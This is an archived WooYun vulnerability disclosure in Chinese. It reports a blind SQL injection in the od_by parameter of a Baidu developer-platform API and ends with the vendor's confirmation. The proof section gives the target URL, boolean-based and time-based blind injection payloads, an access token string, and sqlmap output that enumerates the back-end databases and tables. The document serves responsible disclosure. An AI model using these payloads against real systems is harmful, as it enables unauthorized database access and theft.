当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069238

漏洞标题:百度开放平台某SQL注入

相关厂商:百度

漏洞作者: Jannock

提交时间:2014-07-21 21:25

修复时间:2014-09-04 21:26

公开时间:2014-09-04 21:26

漏洞类型:

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-21: 细节已通知厂商并且等待厂商处理中
2014-07-21: 厂商已经确认,细节仅向厂商公开
2014-07-31: 细节向核心白帽子及相关领域专家公开
2014-08-10: 细节向普通白帽子公开
2014-08-20: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

百度开放平台某SQL注入

详细说明:

回看
WooYun: 百度开放平台某SQL注入
发现只修复了参数 sort,居然没有注意到 od_by
http://developer.baidu.com/rest/2.0/dev/v1/app/base/list2?callback=jQuery110100413025302879616_1404913266218&pn=1&ps=10&od_by=create_time&sort=asc,注入点&access_token=TOKEN&_=1404913266225
参数 od_by 也是存在SQL 注入。你们再检查下吧

漏洞证明:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: od_by
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: callback=jQuery110100413025302879616_1404913266218&pn=1&ps=10&od_by=create_time,(if((1=1 AND 6232=6232),1,(select 1 union select 2)))&sor
t=asc&access_token=10.7883fcf30a90b0587d60f65315f700ac.1405941049.1183630&_=1405941048347
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: callback=jQuery110100413025302879616_1404913266218&pn=1&ps=10&od_by=create_time,(if((1=1 AND SLEEP(5)),1,(select 1 union select 2)))&sort
=asc&access_token=10.7883fcf30a90b0587d60f65315f700ac.1405941049.1183630&_=1405941048347
---
[19:27:34] [INFO] testing MySQL
[19:27:34] [INFO] confirming MySQL
[19:27:35] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[19:27:35] [INFO] fetching database names
[19:27:35] [INFO] fetching number of databases
[19:27:35] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:27:35] [INFO] retrieved: 4
[19:27:36] [INFO] retrieved: information_schema
[19:28:09] [INFO] retrieved: mco_***************
[19:28:47] [INFO] retrieved: mco_***************
[19:29:16] [INFO] retrieved: mco_***************
available databases [4]:
[*] information_schema
[*] mco_***************
[*] mco_***************
[*] mco_***************
[*] shutting down at 19:29:53
back-end DBMS: MySQL >= 5.0.0
[20:14:02] [INFO] fetching tables for database: 'mco_***************'
[20:14:02] [INFO] fetching number of tables for database 'mco_***************'
[20:14:02] [INFO] resumed: 98
[20:14:02] [INFO] resumed: answer
[20:14:02] [INFO] resumed: devel***************
[20:14:02] [INFO] resumed: devel***************
[20:14:02] [INFO] resumed: devel***************

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-07-21 21:29

厂商回复:

感谢对百度安全的支持。我们已联系业务部门处理!

最新状态:

暂无